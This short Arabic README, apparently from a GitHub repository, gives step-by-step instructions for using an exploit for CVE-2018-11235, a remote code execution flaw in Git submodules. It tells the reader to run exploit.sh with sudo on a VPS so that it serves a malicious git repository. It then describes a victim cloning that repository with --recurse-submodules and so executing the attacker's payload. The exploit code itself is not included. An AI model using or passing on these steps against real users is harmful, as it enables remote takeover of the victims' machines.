CVE-2018-11235

1. قم بالاتصال عبر ssh إلى vps الخاص بك.
2. استنسخ هذا المستودع:

git clone https://github.com/Rezy-Dev/CVE-2018-11235
cd CVE-2018-11235

3. امنح exploit.sh صلاحية التنفيذ (x) ثم شغله:

sudo chmod +x exploit.sh
sudo ./exploit.sh

يقوم بتحميل apache2 وبناء مستودع ضار لنا.

4. بمجرد الانتهاء، يمكننا استخدام الرابط http://vps-ip/malicious.git كمستودع git.
5. عندما يقوم الضحية باستنساخه كالتالي:

git clone --recurse-submodules http://vps-ip/malicious.git

يجب أن يتم تنفيذ أمر الـ rce (payload).

شكراً لك!